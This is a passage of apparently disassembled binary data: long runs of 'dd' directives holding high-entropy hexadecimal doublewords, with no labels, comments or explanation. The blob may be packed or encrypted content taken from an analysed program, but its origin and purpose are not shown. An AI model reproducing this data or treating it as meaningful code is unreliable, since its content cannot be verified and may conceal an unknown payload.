		dd 0E50DF0DBh, 63CB7193h, 49386983h, 98CD2900h,	4D247235h
		dd 1758902Eh, 0EA95CA9Dh, 3C269800h, 99E33EFh, 478AD06Eh
		dd 88446B84h, 0E10BCB0Ch, 803FDE59h, 644AF2C0h,	42D13E9Bh
		dd 31C40783h, 22D96CA2h, 8CF8547Eh, 6A00EB98h, 15BF62EAh
		dd 203AA39Bh, 7B309A6Ch, 6EFFA98Ch, 750800B8h, 129B3D79h
		dd 0AE0245D6h, 0F2B082E0h, 0EAD868A1h, 0DD89806Bh, 5F3FC500h
		dd 0BC68436h, 0AD7C00CAh, 0AC321F40h, 8601F604h, 74AF509Bh
		dd 7433EA53h, 0B328097Ah, 9818BB99h, 296BC8E7h,	0CFC305B1h
		dd 0CEFFC844h, 0CBF9C7C1h, 0C6F052F0h, 51D83881h, 800F353Ah
		dd 54A49297h, 0BB1994Ch, 6D9B94C4h, 1C349003h, 7D97E680h
		dd 8C467CAAh, 7947A237h, 437CA470h, 0B080A02Fh,	0DA0D0A6Ch
		dd 5CE502h, 0ADBD9C0Ch,	0C831F0DFh, 4BB819D4h, 17AF4C24h
		dd 1E10CB03h, 67B7E91h,	2E74E3Bh, 2900B9F8h, 17194475h
		dd 26AD46h, 995FABBBh, 24D74E77h, 93051298h, 3259E56Ah
		dd 6D341890h, 853F011Bh, 0BBBDA70Dh, 0C9A0641Ah, 7C44F900h
		dd 82485768h, 3DB00011h, 0B3EB4797h, 9C38204Ch,	70CDA4A3h
		dd 89B1C809h, 10294Ah, 1905F1F4h, 0DB4530DAh, 0B1B01EA1h
		dd 3401DEE8h, 7F23C28Fh, 0F8DBF0BBh, 48A720ADh,	79802C35h
		dd 759AF87h, 3B270200h,	8839A0E6h, 9BB730CDh, 4765D8A0h
		dd 30A96900h, 770D298Ch, 628106AEh, 492E06EBh, 0E3856307h
		dd 9B0E741h, 3B7E86F3h,	78368B8h, 0C687A49Ah, 0AF14087h
		dd 9854A224h, 0E40FA68Ch, 60F4522Bh, 8DF8FC39h,	0A0421368h
		dd 0EC404061h, 0AE59576h, 0AE405004h, 649C9FE8h, 0B3EA04h
		dd 8C5F5518h, 0E43848F7h, 111A5200h, 0A4DBD706h, 36A9CF2Bh
		dd 0C8219429h, 0CB744138h, 882CCBF0h, 0E1BC9200h, 57F44B8Ah
		dd 8D0500B4h
		dd 8FE0D94Ch, 3700A209h, 0D0A96E6Ah, 1EEF9319h,	5884976Bh
		dd 0AB411859h, 42164D00h, 0F0CA068Eh, 0F9B74067h, 0FDFED912h
		dd 0ACBA8501h, 5CD409C3h, 0D1CD03D2h, 6D5ADC2Ch, 0AE6E8802h
		dd 0C3DA3DEBh, 5B9D808h, 0DEF0022h, 98477A4Ah, 89C0FA69h
		dd 7E520136h, 627AF4h, 0B1320D79h, 919A6F2h, 20C5C0Ch
		dd 1B6AE1F3h, 91D156CEh, 4577D9C0h, 5C738505h, 0C03FA84h
		dd 0F8046Bh, 0EB276061h, 2232BC0Ch, 48407A31h, 889D371h
		dd 0AA00A36Eh, 57EAF5FBh, 0C2629100h, 0A4D0F9C6h, 0FF79C44Dh
		dd 872A80D4h, 3700C148h, 0F5A75CD5h, 4AFDFh, 0C2CEBC7Dh
		dd 56D44397h, 89819831h, 0B9809F31h, 0D6F1A2D0h, 2100256Dh
		dd 48A1E8B4h, 1D159B60h, 80395C40h, 6AEF4F0Dh, 317E6428h
		dd 0FB4C790Ch, 1861A9C6h, 516B376Fh, 3E01DAF9h,	3539DBD9h
		dd 97E4CFA0h, 170F184Ch, 9007302Ah, 4010D7Ch, 43FAF4B3h
		dd 9980A759h, 5689DC32h, 2C00198Dh, 60BA12BEh, 0E30417h
		dd 0BB7A4F75h, 6DA91622h, 0ACD7CC2Ah, 0C33F83Ch, 890968FEh
		dd 56991E9Eh, 6AE6C0FFh, 0E9FDB951h, 0E9F3F0E0h, 1441004Fh
		dd 0FC4C3A37h, 0C0FB6B15h, 0ABE6127Ch, 3118465Ch, 9600D986h
		dd 227D7B4Ah, 0D1D547h,	690F8FEBh, 3B42186Fh, 8C36741Dh
		dd 0B859830Eh, 68BF48h,	5784D519h, 5AC85F1Eh, 9490CA61h
		dd 18CB094Fh, 0C9501871h, 0F6001528h, 0D622B5E5h, 3917AC34h
		dd 0DB80FE6Ch, 0F22B5ED8h, 0DD063AF4h, 5953128Fh, 8D092041h
		dd 94D9E600h, 49A954DBh, 0FF810C7Bh, 7D48E0D5h,	0AF33E573h
		dd 331E868h, 665D6A09h,	51A0B105h, 2113DB9Bh, 0C800B43Dh
		dd 0FE4D3044h, 0EADE0022h, 9363C2A0h, 6090A3AEh, 6F0CE18h
		dd 3ACA79h, 790EBDA9h, 1DF9384Eh, 87F2843Eh, 0F358E306h
		dd 2434D46Ch, 46F49E4Ch, 653998C8h, 84C790E6h, 546D7D7Fh
		dd 8B8872h, 38E2897h, 29604236h, 2BB08C03h, 0C9CCB6C9h
		dd 85D0100Bh, 749600A0h, 459AB3C0h, 71D2F0Fh, 28F0E4D0h
		dd 1A05A09h, 0F8EA2399h, 81A8464Fh, 0AF1E7850h,	47082A25h
		dd 3A3DA444h, 7C8F35h, 18C475CBh, 0E5ECDF2Bh, 683CD500h
		dd 0BDC3E049h, 8650030h, 785896CFh, 3674F40Fh, 88FEAD30h
		dd 7B3186B3h, 58B76EDBh, 0C637B103h, 0C83644B0h, 6B717500h
		dd 0AD4B48C0h, 0DB1C7EEh, 789EB020h, 91CEB433h,	0BE50D96Dh
		dd 0B64201h, 6F2D37E7h,	0AD86A884h, 96E019BDh, 455663Ch
		dd 0BCF81A48h, 0DB8BE800h, 83194534h, 9AE00841h, 10A82890h
		dd 423DCFDCh, 0FE00AC52h, 0E24F6FBBh, 48EE2652h, 9E2D5410h
		dd 0C71B0C00h, 369A12E0h, 6BD6F600h, 0C6ACFC62h, 6941C0A6h
		dd 0C59255D9h, 7B4EF800h, 42110BC2h, 0DC430F9Bh, 0DD219334h
		dd 80E64937h, 0F218AA30h, 3F306D69h, 3E004C2Eh,	9442BAE1h
		dd 0FF002F04h, 124F4D32h, 2AE5C619h, 7CD48A9Fh,	0B8110508h
		dd 40BBC031h, 0CE36BC84h, 0ECA47155h, 3F5DDC00h, 0B9EA3D2Fh
		dd 7A200ED7h, 0D0011ADh, 0A28D9586h, 82614B69h,	0A81A9F15h
		dd 0BD08BCCCh, 0C73684B3h, 8E6C008Ch, 3F3C029Dh, 0E10916AFh
		dd 96881E5Fh, 5CBC0298h, 80E1C191h, 949C5027h, 3A025FEDh
		dd 0EC570BB4h, 81E6E0A5h, 61EA61C6h, 0CCDC863Ch, 31002962h
		dd 0F07FDAABh, 62FD666h, 34E65D9Eh, 3114F941h, 1D4CD0C5h
		dd 220CB2Eh, 0B7BC6D1Bh, 2C493BB1h, 0CDA420A5h,	0E63DA09h
		dd 0A81C2C2Eh, 762D0057h, 45FA016Bh, 8954C68Eh,	77F00C98h
		dd 0C7714900h, 34EDB06h, 0BC240044h, 0A5A99525h, 9949D631h
		dd 0CBC90070h, 0F9BA2F03h, 9832522Dh, 0A06C1600h, 0BFFA9D12h
		dd 1D707518h, 1F25061h,	9C233F7Ch, 0E0363BBCh, 4818E6ACh
		dd 0E8B9D147h, 11DB0C74h, 0BB51DC87h, 4247D300h, 0E97AB089h
		dd 0C750050h, 0CA5152D8h, 6092CC6Eh, 0FC09E715h, 3C6C0188h
		dd 26CDE155h, 1876C450h, 89B1004Bh, 0D6881508h,	28009371h
		dd 238CF4C0h, 12689103h, 40DEC676h, 51128928h, 6D3F8464h
		dd 79FE8082h, 723019Eh,	6E0D01ABh, 94E78BB9h, 20320Eh
		dd 2E4B0FB0h, 0E39ECCh,	3521490h, 0DD8C617Ch, 7F284200h
		dd 4A8B85FFh, 0C27012B5h, 63B82069h, 9577DDD9h,	24D8C852h
		dd 704AE831h, 0F9CA5E03h, 11709Fh, 94B2DF33h, 51A4E336h
		dd 8124CDEAh, 0DC8000A1h, 12BBEBA0h, 44280E08h,	0A9BBFF7Eh
		dd 0B8A0E1DAh, 21568440h, 96901807h, 0C250A936h, 14EA45h
		dd 59EC6A91h, 7E8722FCh, 33E7FCA8h, 0C02436D0h,	545D0708h
		dd 0EE3F0E0Eh, 2A09093h, 0D63EB7A2h, 6167580Eh,	0A5897994h
		dd 0D30F3110h, 0E80F4ABh, 707EB29h, 0EFC46BECh,	92424300h
		dd 8113008Eh, 0B6D62008h, 0FA3B777Ch, 7E51820Bh, 838ADA2Eh
		dd 80C31A9Ah, 78EC08ABh, 97473AF8h, 14FB7106h, 8F1E593Ah
		dd 2B8064CCh, 0F87552AFh, 76510EC5h, 0F44F4281h, 6107E800h
		dd 80E9E7B9h, 9F6F249h,	0C0FD7542h, 2DAE9021h, 1F309857h
		dd 284928DAh, 0E830C0F1h, 6856D29Ch, 0AD001D90h, 73CC0D6h
		dd 0E9E4FDh, 0BB51B95Ch, 242C25D7h, 6B802300h, 962F11F5h
		dd 927D4805h, 0D6B60174h, 40EE94E0h, 0C1A2D05Fh, 0A59C6600h
		dd 1C05C004h, 0B6F5005Ch, 36C7C598h, 0D003877Bh, 1B658984h
		dd 9B40000Ah, 0CE44E001h, 2500DAA1h, 36CA0B1h, 3C1430Fh
		dd 0AD8EA758h, 310E8963h, 0A7F9270Dh, 400E0119h, 354ECB0Bh
		dd 0A0D03017h, 849F3079h, 0E7AC970Ch, 18C93890h, 0E8AEA63Ch
		dd 0AFEA7EE5h, 0A040C1C0h, 2A878FFh, 17247BD3h,	24A0909Fh
		dd 651497BFh, 2BA4391Fh, 0AB193A83h, 0B6200FD7h, 0F4204660h
		dd 87162FFAh, 942CB18h,	371EC058h, 0D329DB22h, 8100BF66h
		dd 1127733Dh, 749D9F76h, 2F120093h, 846875FAh, 0C330B55Ch
		dd 278B391Bh, 0A14D002Ah, 0CB58BA99h, 4003201h,	73FEED39h
		dd 94C7DFh, 69267414h, 0E5B1A72Eh, 3ECF3703h, 0CEDA2152h
		dd 42633048h, 0F2D68F1h, 1341B900h, 62595D31h, 98CB3B8Dh
		dd 840A5CD0h, 0C3653316h, 8905741Fh, 9C40FCC2h,	9CCDB469h
		dd 3A75005Fh, 1A9F7F2h,	4C02A0F0h, 6465A5CAh, 542C4881h
		dd 56FC5C80h, 37845303h, 0E5C00F91h, 0B4006F33h, 0DCDDEA90h
		dd 0AB65CA89h, 938800BCh, 9519E4D2h, 0DCA8B570h, 0AD4043ACh
		dd 0DC6E008Ah, 0DF071E23h, 6618AAFFh, 7C28B1DAh, 87851D06h
		dd 6F9D8081h, 4A0E8B92h, 0B1DE5F00h, 6C1AEBD8h,	3EDF6DCh
		dd 7FE558D7h, 79032C65h, 830DCED0h, 0A24680B5h,	33720055h
		dd 6180841Fh, 88C9EC0Eh, 2E2C10E3h, 410E98Fh, 7CA028D7h
		dd 0B800F17Ch, 7FC8E195h, 0DD80CAh, 30944C86h, 4276815Ch
		dd 0C9F52C00h, 31CF222Bh, 631C187Dh, 0DB95136h,	1599D1Dh
		dd 8FC37E80h, 0DE48BC56h, 8C8B00A9h, 0B7CF63CCh, 0E4842F4h
		dd 0E4B922CCh, 402548BFh, 0B08ADEC0h, 449165C9h, 0BAAC3900h
		dd 3D332D4Eh, 55005FBBh, 0CC1868D1h, 49C02BBDh,	5373500Ch
		dd 7757506h, 55B84170h,	3EDE8088h, 0CD7DFCB2h, 7CF48471h
		dd 0D4F67A24h, 9E846394h, 0F80119Dh, 0AE89CC84h, 7D8FA40h
		dd 0DE6116E9h, 590AC07Dh, 4C12D2F5h, 2F15150Dh,	9AB3704h
		dd 0F4492D90h, 567924ADh, 920D1014h, 0D11A4001h, 9C503766h
		dd 0F43857h, 2ADAECB9h,	597DF6C3h, 1D93BC44h, 304ED8Ah
		dd 0C168469Ch, 0AC2E6810h, 64840077h, 16E44E40h, 0D01227Dh
		dd 1F9BFD2Ch, 918030B1h, 42C32492h, 9F00CB4Ch, 3E2D294Fh
		dd 242EFD2Fh, 8C582A0Fh
		dd 8F31979Ch, 4FF27900h, 41F85C3Ch, 144900CCh, 0CE285F0Dh
		dd 3B4EE1E5h, 31789FB0h, 404855A7h, 153A0A72h, 0C5BA500h
		dd 1E858BE3h, 9E65C600h, 38AA7E79h, 0F3170A91h,	42A04C0Dh
		dd 6C00C14Fh, 2AD97h, 3C0EEF0Fh, 0D37EBF08h, 0F6C54000h
		dd 0B7D08D4Eh, 0E6D43E86h, 0DEDCD583h, 49009A0Dh, 78BCCFB9h
		dd 3C1502FBh, 0F67128h,	8E58C546h, 6165800Eh, 15B01E50h
		dd 5DFB718h, 29E5638h, 7ADE9BC2h, 3C48BC66h, 0D24C1481h
		dd 4A4D0050h, 242BA567h, 0EDB8000Dh, 0F3282DCDh, 9901DE7Ah
		dd 0FE881813h, 62658Ch,	0EC024600h, 12B0D066h, 0EADFAB0Ah
		dd 30074ACh, 0E88829A8h, 0B46602D8h, 22EB8E27h,	0DB69BAC0h
		dd 7B1F5E07h, 0E7F0D459h, 1DE567AEh, 44DD5B8Dh,	80BBF8EBh
		dd 0BFEAA9F5h, 7A881706h, 28DBF9h, 59A4FC10h, 0F42AB39Ah
		dd 0E5BE0903h, 0E6CE927Bh, 62701D20h, 60E900B5h, 24937AEDh
		dd 375CC5Ch, 531E8499h,	0E9280026h, 690B79AEh, 2D030DCBh
		dd 6AAAC13Fh, 346801E6h, 583A48EFh, 0F494DC78h,	83BE6000h
		dd 863EE1D6h, 93D23D1Bh, 9CB066BBh, 0DE77571h, 0C6758C0h
		dd 0C6BDFD70h, 5979E119h, 9D603076h, 6F426531h,	74F800CCh
		dd 9C73F203h, 1E305348h, 13C7A168h, 2E5E03AFh, 60A47BB0h
		dd 9D0F1900h, 754F8E3Dh, 3B39F442h, 36141CE6h, 6200400Eh
		dd 12F61604h, 6854D484h, 0D000A7B4h, 8DA6D2C2h,	0E1D101Bh
		dd 82FB42F4h, 7D357383h, 0D165410Ch, 0A0A3A990h, 85FD3Ch
		dd 0DCB92D6Eh, 11D7BACBh, 127C18C0h, 3A236728h,	5580A873h
		dd 0FDC7A70Ch, 3B00F841h, 8C65A911h, 781A64h, 84D69EC2h
		dd 723F74EDh, 2BC8A554h, 9A909C50h, 980B888h, 84BC9803h
		dd 34C62A00h, 8105B18Ah, 0A635717Ah, 8093F848h,	1DBE415Fh
		dd 40592E0h, 0E17A5A96h, 0C7E6F1C0h, 0F8B61F91h, 559B7BD6h
		dd 44E3083Ch, 0F5C321C0h, 0A7FB8B00h, 1FE1AA24h, 0B020C0D4h
		dd 0A117D031h, 0E7A0430Bh, 5E640040h, 95F8F3h, 4BA7E6E5h
		dd 0A4D74855h, 9800B0FCh, 4C688778h, 621B585Ah,	0D5CC50E0h
		dd 1598D03h, 5681FBD2h,	0F477A278h, 72008A5Ch, 0C523A0EFh
		dd 60E8C191h, 0CF4630C7h, 0C0C1E762h, 15A82F29h, 385084DCh
		dd 0CA802C13h, 1024E1F5h, 0AF3A7E07h, 0EEDD00AEh, 5BAAA660h
		dd 927031B5h, 0F3CA1CA8h, 0D8574800h, 2AF9D26h,	5C593944h
		dd 933009DCh, 0BF1A97D1h, 5D687718h, 99589h, 0ED48932Ch
		dd 6F76C4E3h, 5E081200h, 0C2B32AAAh, 8CEE501Dh,	0AC195467h
		dd 967BC3h, 8C1FFFFAh, 80A3A1F9h, 21555330h, 6FAC52h, 44DF920Dh
		dd 32AD1C7Ch, 0D13846F4h, 0F6568A3Dh, 18BAA08Eh, 0B6393A53h
		dd 996200A2h, 0CE74DB59h, 0C200ECB7h, 20367740h, 0F97A450h
		dd 0CD47761Dh, 5D375C4h, 8440BCFBh, 1664A4C7h, 0D09015DDh
		dd 0FB0CB4E7h, 0B21F7D2h, 2E065C05h, 2000EC93h,	2D68E4Ah
		dd 6E6F01D4h, 0EDA659Ah, 3F905734h, 8B698A20h, 0B8A48053h
		dd 3DBEE44h, 0DE9C0845h, 81B818D1h, 35016E98h, 0EA37FF27h
		dd 0F849A390h, 0E8F4D670h, 5EFC30CEh, 0D20C1B19h, 40821100h
		dd 0A59A50A0h, 332938FDh, 72286C81h, 80DCF0F9h,	0D4AEA471h
		dd 2D89CFh, 7A668416h, 0EDB5A81Bh, 68C83430h, 3ED26B8Bh
		dd 97009C7Eh, 5ABB86AEh, 0BA54FF5Dh, 4A70D9B4h,	38C11E33h
		dd 83A14C56h, 89BD2000h, 76068238h, 0CF23F012h,	70A43D00h
		dd 774FB05h, 2C545391h,	0D262F127h, 980F073h, 0B27819C0h
		dd 0F0775598h, 8584206Eh, 0B5FDCE00h, 30614386h, 26F0EB41h
		dd 51EE61D4h, 9F230DFBh, 203B7740h, 7215F863h, 71CE309Dh
		dd 797DF810h, 1BD769C3h, 32FAE94Bh, 1DA43980h, 37AFC535h
		dd 41E2640Fh, 5216E08Ch, 16351DEh, 0D79D6BABh, 8CF0FF25h
		dd 5178B979h, 0AC8E0304h, 4B89E1F7h, 0CAED8590h, 967C6F18h
		dd 3AF61h, 219EBDB9h, 80DA9AFCh, 0FE9118C0h, 0D080DAAh
		dd 90F1ABF7h, 1F1B3030h, 78154C1Eh, 0D3F94A40h,	159F642Bh
		dd 8CFF1A26h, 958DB90Ch, 224C3D30h, 0F81B00F7h,	4E76716Eh
		dd 7F323AE0h, 89DD8160h, 67002294h, 0F5CB514Ah,	309D4002h
		dd 768955CDh, 64284CBBh, 0F001907Fh, 1CB55A1Fh,	0F180E26Eh
		dd 62CDB187h, 710096CAh, 7702B033h, 1D4A087Ch, 91B2FFECh
		dd 35BD0049h, 0C88AE10Bh, 17D7145Ah, 8D879C6Dh,	783FE0BBh
		dd 1D01E53Bh, 0F181DCF5h, 88C8EDD1h, 835C0ADBh,	8B8CE4Ch
		dd 4A80851Ah, 0E1FE1CFDh, 733D3BB0h, 7CC005AAh,	30767F77h
		dd 0F1115EF8h, 0F7002BEEh, 0C4D32A60h, 0C0AA75FCh, 0BD315449h
		dd 0AE02136Ah, 0FAB6CD03h, 0DFE12E4Dh, 0F661BF71h, 0D30940DDh
		dd 0F8A5E3h, 71E90B23h,	201F3C7h, 82DC6C1h, 0A7CDB0C3h
		dd 533824h, 95254734h, 549F9D51h, 6305B4A4h, 724308B5h
		dd 8BC41403h, 48FAA82Fh, 0A93206C8h, 79F16CD5h,	1D0099FAh
		dd 0D0636545h, 568AA4h,	21644ACAh, 3D6F6EBh, 25FA99C6h
		dd 0C7C800C9h, 4DB1EE4Ah, 170078A4h, 0F2BF92BBh, 1213F8C5h
		dd 43860126h, 3C05FB24h, 4038390Fh, 737A0404h, 0E06BD88Ch
		dd 4897DD5h, 9006CDA6h,	87C84695h, 597302D9h, 558F2E4Ah
		dd 0ECC21801h, 97D52BE9h, 3BDC7AE0h, 5300E508h,	52AE94B0h
		dd 0C600D3F2h, 6B49F432h, 3BCE71FCh, 0AB8FAA81h, 1A61E9FAh
		dd 0E089EF8Ah, 0CC06F008h, 559994A7h, 71610C18h, 0BF3188B2h
		dd 28F4DA45h, 0C1227A19h, 0C79DEE10h, 0A20FFC11h, 52C9CF05h
		dd 1C04A42Dh, 1F46852Eh, 0FCF808F3h, 6B4FBF09h,	9A8700D9h
		dd 0C41BC2Bh, 13634462h, 0A801AD58h, 1CFAF684h,	38BD4B38h
		dd 3E46A100h, 0CB27C8C3h, 0B05F9E00h, 90B21858h, 289706AAh
		dd 313E48DAh, 17A60700h, 9E7CB442h, 0A3A90312h,	0A82B2CF9h
		dd 0C88600F5h, 0F02A7DBBh, 0E552260Bh, 0A5EC006Ch, 0FD47BDh
		dd 0B3480A49h, 0C2CBC395h, 0A8553900h, 0B03C8936h, 0A1000DFh
		dd 0EFD27B06h, 7C0C9F48h, 893296Ch, 3DC6002Ch, 0EEC1CEA9h
		dd 0C21F198Ch, 10396AFAh, 7B005D10h, 0EB14E873h, 0C000F34Ch
		dd 0BBFED796h, 5CB75Eh,	0ABDCEF25h, 9007E784h, 58490C31h
		dd 4980F035h, 9C5008DAh, 4500CEB6h, 910C8A8Ch, 0CA96B84h
		dd 7F8AD19h, 0EE0CD228h, 0A07B69FFh, 0E903E94Bh, 853B82D8h
		dd 0F3F4CC04h, 0CEC06498h, 0E2AA5CD7h, 944B3A7Ch, 0C3CC8483h
		dd 817BA18Fh, 0C15B2433h, 0C418B89h, 6D3C3551h,	43002818h
		dd 0C81E531h, 1D9B6587h, 1F617C52h, 6990C121h, 80723EECh
		dd 7A58F598h, 1ED9E1BCh, 0ED0BB8Ch, 19998723h, 0C02B2050h
		dd 8B896C1Eh, 3063383Eh, 65B320BDh, 0E78A00CAh,	134F5948h
		dd 0D710E22Dh, 9100BC88h, 236F373Ch, 56633338h,	1640D350h
		dd 0C0D008h, 641481ACh,	0DA033F26h, 0ECE221B4h,	0E16114D1h
		dd 0B20044B6h, 51EEABCBh, 30C7234h, 4889216Dh, 2A41945h
		dd 20DC28D1h, 0F500466Fh, 0DD20FB8Ch, 0C02A6310h, 35E71391h
		dd 9F00AB5Bh, 17EEFC3Bh, 6EC734Fh, 0E165BEBBh, 8A004907h
		dd 78770F31h, 4B4144h, 875138Ch, 23FBA63Ch, 806BDC00h
		dd 0CE28EA9Fh, 0DA873E6Ch, 160C723Ah, 2DC1F663h, 5F9A6160h
		dd 39E7912h, 57CB8995h,	0D900AFE1h, 1A359BC1h, 62DF69h
		dd 1A03E5Bh, 41B8CC78h,	4EE22C00h, 0D555EBDAh, 809CA969h
		dd 0E7E9E4h, 61C5A2D4h,	0B82085EDh, 0C1D5900h, 326F138Eh
		dd 8FD91C3Fh, 0FE45C639h, 0BF18D930h, 0F8496E6Dh, 4BDD0368h
		dd 30B281FCh
		dd 50DA9FA8h, 0E28A7B2Ch, 0C002BC22h, 0E17E54F7h, 126BE01Bh
		dd 87DB1E15h, 7D3EB81Ah, 3D6C7187h, 0C13AB3F6h,	610015B3h
		dd 49545A04h, 2F7372h, 56BA3D8h, 0DB47DC31h, 0F9527EF2h
		dd 85E80094h, 3C3FD290h, 0DC2800B1h, 0DB19FC80h, 317F7A49h
		dd 0E2043702h, 907E30DAh, 709ACBB0h, 32670069h,	25D8A90Fh
		dd 8000219Dh, 0F4D74D57h, 1545ED51h, 80DEA00Dh,	7C567411h
		dd 62780949h, 205A8A18h, 1F967F04h, 5555404h, 94342D4h
		dd 0B4887523h, 1A00988Dh, 0BB147F11h, 0A475089h, 5A44021h
		dd 486C47B4h, 86506B40h, 680B24D8h, 0C1E10C28h,	93A9679h
		dd 970480BFh, 7F7DAA85h, 117E01BDh, 0C0E2C825h,	0F8584173h
		dd 0C8B13172h, 41DF832Ah, 23124B01h, 0C180133Eh, 4F0BFD30h
		dd 99020F3Ah, 0FA434BB5h, 5274A4B3h, 40F76345h,	9A3C03A4h
		dd 9006797h, 0D8FA3AFDh, 13D907h, 5C18048Fh, 50DF6479h
		dd 271BA70Fh, 5B756401h, 10BE0721h, 0A828E651h,	467670h
		dd 0E3396B19h, 8892311Fh, 87241500h, 0DF9FDB62h, 25F80CF3h
		dd 32D1E33Eh, 8B231007h, 0C02EFBB3h, 964EF801h,	794C1C3Eh
		dd 83F0F025h, 0E3806EBAh, 2E500FC1h, 382F894h, 4C846A78h
		dd 21E888FAh, 0F56180FFh, 0BA421EC2h, 0B9813044h, 0D85F50A9h
		dd 81AA58h, 0BADD2E41h,	0D1186Bh, 4F9B450Fh, 501BC14Ch
		dd 2A247473h, 0F4409025h, 0CC5376h, 0D40E75ACh,	0D24D2239h
		dd 3E69B301h, 0E12BBACDh, 0B8000C22h, 3FE94A46h, 0A6297515h
		dd 63898484h, 0D2482092h, 349F267h, 0F49B0D6Ah,	6382B081h
		dd 0CA009844h, 0A39AF5FCh, 24A27BCh, 33758C86h,	43577FB3h
		dd 0C3E5B8B4h, 0D4041553h, 7E00885Dh, 9054DB28h, 28F92F0Bh
		dd 22045154h, 266A00FCh, 0D55A7A79h, 0E22E15B9h, 211890BFh
		dd 4774F1DFh, 57330602h, 911C83F6h, 7010F4B0h, 893E6D6Eh
		dd 53858035h, 54CC9DE7h, 0D321C9EDh, 8BE8B410h,	0DBB16E00h
		dd 0EBBA8533h, 2784A2A0h, 0B8203E74h, 28891F0h,	7081E032h
		dd 0CC04A12h, 0AF0C26F8h, 39EA633Ch, 3923287Ch,	28300744h
		dd 0C26BDA53h, 0E0A13AC2h, 805ED8DCh, 1D613B81h, 542DE8h
		dd 83E58A27h, 0BA5391DAh, 0A86D7400h, 3AEF98ADh, 39850569h
		dd 47AAE168h, 333AB88h,	280D7DBh, 0C200821Eh, 223BE70Ch
		dd 58251AE1h, 0BF0C075Eh, 6371CA77h, 8258B8A8h,	927BFF07h
		dd 12B9F8D8h, 18F49200h, 161A80h, 1ED1B945h, 38127F64h
		dd 78616700h, 0D6B331F2h, 0F11C6222h, 0D881D9E8h, 2455D7E1h
		dd 0F0C85AC8h, 18D9640h, 23476151h, 95F12A93h, 1222AED0h
		dd 20620369h, 600BFA14h, 0EDEEB3Eh, 29B03EDCh, 55A8A272h
		dd 0D328CCD2h, 91BA0020h, 147083E4h, 9C434C04h,	0EC81ED7Bh
		dd 6B10DF40h, 970DEF62h, 0E1838EE0h, 36E4F1F1h,	0C2E7008Fh
		dd 7F5E72C0h, 780D8143h, 29F5A14Dh, 200DEC02h, 255A18E8h
		dd 0AA110660h, 74181BAh, 6CCD96DEh, 0DABF60F7h,	8D05626Dh
		dd 1A63E953h, 0E05A00D3h, 0E8DD9375h, 0F1A6EBFFh, 53DF60D8h
		dd 0AD1EA03Dh, 6600DC57h, 0FEA8969Bh, 4F80C25h,	21B9A5E1h
		dd 2581F36Eh, 7CC062E9h, 7C3C4Dh, 3E2FCE15h, 0E44E3DF4h
		dd 371833F4h, 6431E225h, 6CC9009Eh, 3516AF1Bh, 0F701C36Fh
		dd 0C5CA10Fh, 8339A88h,	84805C58h, 425AC1FFh, 0FEEC5600h
		dd 64184821h, 8CE204D8h, 0EBB976A8h, 90313EC6h,	596222F4h
		dd 0DC6F730Bh, 3D2000E4h, 24EF48D6h, 40C486C0h,	0D2656BFBh
		dd 0E23C38C7h, 0C04EBCFAh, 81FB9EBCh, 986C0042h, 0CEE58BFAh
		dd 91283F69h, 0A803A86Eh, 92032B3Dh, 6CBFE20Dh,	0AF8D4468h
		dd 6BAA3B02h, 0C630C5C2h, 4D6C033Ch, 1CDCF198h,	0C4EB9000h
		dd 249AF454h, 0FD2E004Ah, 6BFA7FABh, 0B500E377h, 1B73DAE5h
		dd 917A0292h, 3BF80F6Ch, 11041976h, 54D82458h, 7480BC99h
		dd 148F734Dh, 41D098Bh,	7C489B26h, 448692DBh, 0F61E30E2h
		dd 0D814F5DDh, 3C0C93C4h, 60D3210Ah, 643B716Fh,	0B9035F87h
		dd 6331FA16h, 41E10301h, 225672D6h, 0BA82B4F0h,	0BC870329h
		dd 1823150Bh, 409757Ch,	90EA4969h, 0A334C8E0h, 9FD46139h
		dd 5E802F44h, 13DDCAFAh, 29BFC6Bh, 9A6D97AAh, 5C80248Ch
		dd 0E0FE34EBh, 2B378000h, 5C256952h, 4F4A0A44h,	60D0C0F6h
		dd 6C03D270h, 50F864A1h, 0A916A3Ch, 1766381Ch, 0C6BE8E80h
		dd 5C9BBBFh, 0DA50D71Dh, 0DDCC0A56h, 0E1248DC8h, 8EC66081h
		dd 34B22C00h, 60710640h, 0CB760062h, 7551C721h,	0D5E8F61Bh
		dd 1415934Bh, 4077C85Ch, 0D4FCCE9Fh, 0C011416Eh, 4FB42C46h
		dd 0F0D50088h, 8B386CB7h, 2151891Ch, 435BD040h,	795D3600h
		dd 1385CB65h, 9DB0157h,	990D1770h, 0C12830DAh, 0A4EFE188h
		dd 4B41F8D8h, 798826DFh, 0FA3C87F8h, 0C03A17E9h, 7F43B041h
		dd 2C69C3Eh, 0DC22BB76h, 0DDC5E149h, 0A0754FF0h, 88F8822Ch
		dd 33094030h, 25F4CF3h,	21376CC4h, 48B8A445h, 0EA847384h
		dd 0EC360C80h, 0C3987163h, 5A00D8B1h, 97BE5150h, 177EADAh
		dd 99DF5489h, 52EF852Ah, 44290270h, 8742003Ch, 90A15509h
		dd 363BC878h, 0BB930F4Ch, 0DB9B4002h, 2E81717Fh, 11F0FA77h
		dd 0F92118C2h, 2EC059h,	278ACBD3h, 0D6E2F7CEh, 3C98A4A4h
		dd 0BFC4B02h, 465DC425h, 920744C8h, 61C03400h, 0FF4CBAABh
		dd 0C144CB4h, 0AC020AC3h, 0A72772E0h, 57E7507h,	0B64041A5h
		dd 55A737Dh, 0E0F984B8h, 98A2000Ah, 6191946Dh, 7FFD8F3Ch
		dd 0E6F0B03h, 88086EC5h, 0DCF1A11Ah, 0C7400E19h, 54CF3898h
		dd 0CC63BD38h, 71DD1E7Ch, 0D388AECh, 30C6F76Ah,	59DE4h
		dd 4011A40Ah, 61492CA9h, 896A6B01h, 0E4F26EC4h,	0D99E29BAh
		dd 0C6ED00A8h, 0BEE92BB0h, 2400AD76h, 54AF9F93h, 0ECB0DE6h
		dd 4F777840h, 91C234E0h, 3F76F6E9h, 0BD28A503h,	0E8FE270Fh
		dd 0F530ECh, 294A87F8h,	0AB49BB07h, 0E9A4401Ch,	0A0EFC301h
		dd 40B8D267h, 6516B200h, 63C199EDh, 0F4F4F226h,	15122907h
		dd 34A546B0h, 0A27C06AAh, 797DD2A9h, 0CEA3A607h, 13A0791Ch
		dd 75FAFB2Dh, 0DCBC002Fh, 780E2BEBh, 0EE0047F0h, 31BFAB42h
		dd 18482645h, 89A15E16h, 0B53D699Fh, 826600F3h,	8FFD59A7h
		dd 4AAF0C8Dh, 44A1C009h, 0D4854C01h, 95BE7C16h,	1E74BE8h
